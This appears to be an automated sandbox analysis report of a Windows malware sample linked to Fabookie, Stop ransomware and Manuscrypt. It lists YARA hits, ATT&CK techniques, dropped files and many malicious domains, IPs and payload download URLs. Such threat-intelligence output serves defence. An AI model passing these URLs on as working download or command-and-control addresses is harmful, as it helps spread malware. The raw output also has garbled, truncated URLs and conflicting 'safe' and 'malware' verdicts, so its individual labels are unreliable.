Source: Yara match	File source: 00000017.00000002.553773465.00000000024B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.393553411.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.383459492.0000000004641000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.437016536.00000000009C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.437057713.0000000000AF1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.530448441.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.393656715.0000000000A51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Fabookie

Source: Yara match

File source: Process Memory Space: F5C7.exe PID: 5796, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	13 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Exploitation for Client Execution	Boot or Logon Initialization Scripts	512 Process Injection	2 Obfuscated Files or Information	1 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 DLL Side-Loading	NTDS	531 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	125 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	1 Proxy	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 Masquerading	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	512 Process Injection	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Regsvr32	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	36%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\F5C7.exe	100%	Avira	HEUR/AGEN.1249525
C:\Users\user\AppData\Local\Temp\D7DE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\56E6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\361E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BB5C.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F5C7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\bhseufd	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\20C0.exe	54%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\20C0.exe	77%	ReversingLabs	Win32.Backdoor.Manuscrypt
C:\Users\user\AppData\Local\Temp\BB5C.dll	29%	ReversingLabs	Win32.Trojan.Lazy
C:\Users\user\AppData\Local\Temp\C40D.exe	54%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\C40D.exe	77%	ReversingLabs	Win32.Backdoor.Manuscrypt
C:\Users\user\AppData\Local\Temp\D7DE.exe	59%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\D7DE.exe	81%	ReversingLabs	Win32.Ransomware.Stop
C:\Users\user\AppData\Local\Temp\F5C7.exe	58%	ReversingLabs	Win64.Trojan.Fabookie
C:\Users\user\AppData\Roaming\bhseufd	38%	ReversingLabs	Win32.Ransomware.Stop

Unpacked PE Files

Source	Detection	Scanner	Label	Download
15.0.D7DE.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.3.bhseufd.9c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.D7DE.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.2.bhseufd.9b0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.file.exe.8e0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.D7DE.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
23.3.361E.exe.2470000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.2.361E.exe.8a0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.D7DE.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
9.2.bhseufd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.D7DE.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
15.0.D7DE.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
0.3.file.exe.a10000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.D7DE.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
0.2.file.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.2.D7DE.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223627	Download File
23.2.361E.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Link
amrhomedecor.com	0%	Virustotal	Browse
v.xyzgamev.com	12%	Virustotal	Browse
linislominyt11.at	15%	Virustotal	Browse
i.xyzgamei.com	12%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.hhiuew33.com/check/?sid=2251403&key=8e2d61f4841dacf51fa24992b8b77e1c8g	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5cnalY/	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/safe2250221&key=e7624e478d30bafa822680537a86875f	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/p6YVdRaU9qSXl	0%	Avira URL Cloud	safe
http://invalidlog.txtlookup	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/?sid=2250263&key=adf8e58a65af6898b62025385f52bfe3.a8	0%	Avira URL Cloud	safe
http://acacaca.org/lancer/get.php	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6D/	0%	Avira URL Cloud	safe
http://sty.hhiuew33.com/check/safe	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/	100%	URL Reputation	malware
http://lin.hhiuew33.com/check/safe	0%	Avira URL Cloud	safe
http://www.hhiuew33.coww.hhiuew33.com/	0%	Avira URL Cloud	safe
http://linislominyt11.at/	100%	URL Reputation	malware
http://www.hhiuew33.com/Yrl	0%	Avira URL Cloud	safe
https://am.hhiuew33.com/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557f	0%	Avira URL Cloud	safe
http://www.hhiuew33.coP	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6nal	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df99-90CE-806E6F6E6963	0%	Avira URL Cloud	safe
https://v.xyzgamev.comww.hhiuew33.com/	0%	Avira URL Cloud	safe
http://devlog.gregarius.net/docs/ua)Links	0%	URL Reputation	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safe	100%	Avira URL Cloud	malware
https://b.game2723.com/gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/st_act9rL	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5c=	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safe2	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/WJR	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df9=	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/Y	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safeJR	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2251403&key=8e2d61f4841dacf51fa24992b8b77e1c	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557fZ0lpSXNJQ0oxYVdRaU	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/X	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safe:	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safeG	0%	Avira URL Cloud	safe
https://fakermet.com/48fccb3e0de4acd2e01df251682513fe/608d2d360fdf2ef9b5e53e7761a71eb3.exe	0%	Avira URL Cloud	safe
https://www.amrhomedecor.com/upload/index.php	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/_	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safe_R	0%	Avira URL Cloud	safe
https://trustnero.com/608d2d360fdf2ef9b5e53e7761a71eb3.exe	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/%r	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/?sid=2250221&key=e7624e478d30bafa822680537a86875f	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557f	0%	Avira URL Cloud	safe
https://v.xyzgamev.com/31.html	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6nal./	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d9-90CE-806E6F6E6963	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df9	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5c	0%	Avira URL Cloud	safe
https://v.xyzgamev.com/logo.png	100%	Avira URL Cloud	malware
https://v.xyzgamev.com/31.htmlnH1	100%	Avira URL Cloud	malware
http://stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/check/?sid=2250221&key=e7624e478d30bafa822680537a86875f	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/xy.dllAAIAAA	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safe(	0%	Avira URL Cloud	safe
https://v.P	0%	Avira URL Cloud	safe
https://amrhomedecor.com/upload/index.php	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557fd	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safep	0%	Avira URL Cloud	safe
https://v.xyzgamev.com/	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/check/?sid=2250263&key=adf8e58a65af6898b62025385f52bfe3	0%	Avira URL Cloud	safe
https://i.xyzgamei.com/gamexyz/31/random.exe	100%	Avira URL Cloud	malware
http://linislominyt11.ww.hhiuew33.com/	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safek/?s	0%	Avira URL Cloud	safe
https://v..hhiuew33.com/check/safe	0%	Avira URL Cloud	safe
https://v.xyzgamev.com/logo.pnghttps://v.xyzgamev.com/%d.htmlhttps://v.xyzgamev.com/31.html	100%	Avira URL Cloud	malware
http://zdauctions.com/tmp/	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/safe2251403&key=8e2d61f4841dacf51fa24992b8b77e1cZ0lpSXNJQ0oxYVdRaU9	0%	Avira URL Cloud	safe
https://blockstream.info/apihttps://sofolisk.com/api/loginvalid	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/check/safeq	0%	Avira URL Cloud	safe
https://blockchain.infoindex	0%	URL Reputation	safe
http://www.avantbrowser.com)MOT-V9mm/00.62	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safe3Z	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265dac	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safeeW	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/-rx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
amrhomedecor.com	206.221.182.74	true	true	0%, Virustotal, Browse	unknown
v.xyzgamev.com	104.21.40.196	true	true	12%, Virustotal, Browse	unknown
linislominyt11.at	186.182.55.44	true	true	15%, Virustotal, Browse	unknown
i.xyzgamei.com	172.67.137.109	true	true	12%, Virustotal, Browse	unknown
trustnero.com	104.21.1.91	true	true		unknown
stylesheet.faseaegasdfase.com	85.209.157.230	true	true		unknown
fakermet.com	172.67.202.54	true	true		unknown
monsutiur4.com	185.237.206.60	true	true		unknown
b.game2723.com	188.114.96.3	true	true		unknown
api.2ip.ua	162.0.217.254	true	false		high
ip-api.com	208.95.112.1	true	false		high
www.hhiuew33.com	45.136.151.102	true	true		unknown
azd.at	46.194.108.30	true	false		unknown
cucumbetuturel4.com	unknown	unknown	true		unknown
susuerulianita1.net	unknown	unknown	true		unknown
moroitomo4.net	unknown	unknown	true		unknown
nusurionuy5ff.at	unknown	unknown	true		unknown
nunuslushau.com	unknown	unknown	true		unknown
www.amrhomedecor.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://acacaca.org/lancer/get.php	true	Avira URL Cloud: malware	unknown
http://linislominyt11.at/	true	URL Reputation: malware	unknown
http://www.hhiuew33.com/check/safe	true	Avira URL Cloud: malware	unknown
https://b.game2723.com/gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe	true	Avira URL Cloud: malware	unknown
http://www.hhiuew33.com/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d	true	Avira URL Cloud: safe	unknown
http://ip-api.com/json/	false		high
http://www.hhiuew33.com/check/?sid=2251403&key=8e2d61f4841dacf51fa24992b8b77e1c	true	Avira URL Cloud: safe	unknown
https://fakermet.com/48fccb3e0de4acd2e01df251682513fe/608d2d360fdf2ef9b5e53e7761a71eb3.exe	false	Avira URL Cloud: safe	unknown
https://www.amrhomedecor.com/upload/index.php	false	Avira URL Cloud: safe	unknown
https://trustnero.com/608d2d360fdf2ef9b5e53e7761a71eb3.exe	true	Avira URL Cloud: malware	unknown
http://www.hhiuew33.com/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557f	true	Avira URL Cloud: safe	unknown
https://v.xyzgamev.com/31.html	true	Avira URL Cloud: malware	unknown
http://www.hhiuew33.com/check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df9	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5c	true	Avira URL Cloud: safe	unknown
https://v.xyzgamev.com/logo.png	true	Avira URL Cloud: malware	unknown
http://stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe	true	Avira URL Cloud: malware	unknown
http://www.hhiuew33.com/check/?sid=2250221&key=e7624e478d30bafa822680537a86875f	true	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json	false		high
https://amrhomedecor.com/upload/index.php	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2250263&key=adf8e58a65af6898b62025385f52bfe3	true	Avira URL Cloud: safe	unknown
https://i.xyzgamei.com/gamexyz/31/random.exe	true	Avira URL Cloud: malware	unknown
http://zdauctions.com/tmp/	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6	true	Avira URL Cloud: safe	unknown
http://mordo.ru/tmp/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.hhiuew33.com/check/?sid=2251403&key=8e2d61f4841dacf51fa24992b8b77e1c8g	F5C7.exe, 00000010.00000002.596260237.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5cnalY/	F5C7.exe, 00000010.00000003.554354104.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com:80/check/safe2250221&key=e7624e478d30bafa822680537a86875f	F5C7.exe, 00000010.00000003.515775891.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514259967.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517183124.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.512594646.000000000057C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/p6YVdRaU9qSXl	F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://invalidlog.txtlookup	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com/json/~	F5C7.exe, 00000010.00000003.505333538.0000000000573000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com:80/check/?sid=2250263&key=adf8e58a65af6898b62025385f52bfe3.a8	F5C7.exe, 00000010.00000003.515775891.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514259967.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517183124.000000000057C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6D/	F5C7.exe, 00000010.00000003.576518898.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.568041358.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.596260237.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://sty.hhiuew33.com/check/safe	F5C7.exe, 00000010.00000003.514169499.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.512548761.000000000056A000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517159638.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.515514422.0000000000567000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/	F5C7.exe, 00000010.00000003.514306208.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.514169499.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.511897021.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.517159638.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.515514422.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522621920.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.575048540.000000000059A000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.509826918.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://lin.hhiuew33.com/check/safe	F5C7.exe, 00000010.00000003.511783784.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.509684134.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.524664098.0000000000567000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.coww.hhiuew33.com/	F5C7.exe, 00000010.00000003.529801460.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.541248712.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.511783784.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.509684134.0000000000567000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/Yrl	F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://am.hhiuew33.com/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557f	F5C7.exe, 00000010.00000003.529801460.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.541248712.0000000000567000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.coP	F5C7.exe, 00000010.00000002.640096485.0000000002817000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.573376315.0000000002813000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.580231923.0000000002817000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2251105&key=29e19bb8301861d213a65ed61bf4d1b6nal	F5C7.exe, 00000010.00000003.568041358.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	D7DE.exe, 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df99-90CE-806E6F6E6963	F5C7.exe, 00000010.00000003.549193092.000000000061D000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.546629599.0000000000619000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.548482440.000000000061B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://v.xyzgamev.comww.hhiuew33.com/	F5C7.exe, 00000010.00000002.589133590.0000000000567000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000002.640096485.0000000002817000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://devlog.gregarius.net/docs/ua)Links	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	D7DE.exe, 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.485250320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000002.500446767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, D7DE.exe, 0000000F.00000000.484149118.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.hhiuew33.com/st_act9rL	F5C7.exe, 00000010.00000003.509826918.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2250955&key=cc526d757b8b09cd7255d9d9296cfd5c=	F5C7.exe, 00000010.00000003.554354104.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com:80/check/?sid=2250365&key=11f4ba0476b4eb9162bd33f48be5265d	F5C7.exe, 00000010.00000003.522539351.000000000057C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safe2	F5C7.exe, 00000010.00000003.524822407.000000000057C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/WJR	F5C7.exe, 00000010.00000003.525366626.000000000059A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=2250785&key=8de818f09839fce5ea37b654046f3df9=	F5C7.exe, 00000010.00000003.545142150.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://turnitin.com/robot/crawlerinfo.html)gentraceback	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/Y	F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safeJR	F5C7.exe, 00000010.00000003.520210778.0000000000592000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.522621920.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com:80/check/?sid=2250431&key=33503c8cc65134cf05c8fddbe6ef557fZ0lpSXNJQ0oxYVdRaU	F5C7.exe, 00000010.00000003.541523888.000000000057C000.00000004.00000020.00020000.00000000.sdmp, F5C7.exe, 00000010.00000003.531298294.000000000057C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/X	F5C7.exe, 00000010.00000003.511897021.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safe:	F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safeG	F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/_	F5C7.exe, 00000010.00000002.594065675.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safe_R	F5C7.exe, 00000010.00000003.525366626.000000000059A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://search.msn.com/msnbot.htm)net/http:	56E6.exe, 0000001C.00000003.560355597.00000000036C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/%r	F5C7.exe, 00000010.00000003.514306208.0000000000592000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com:80/check/?sid=2250221&key=e7624e478d30bafa822680537a86875f	F5C7.exe, 00000010.00000003.511854629.000000000057C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
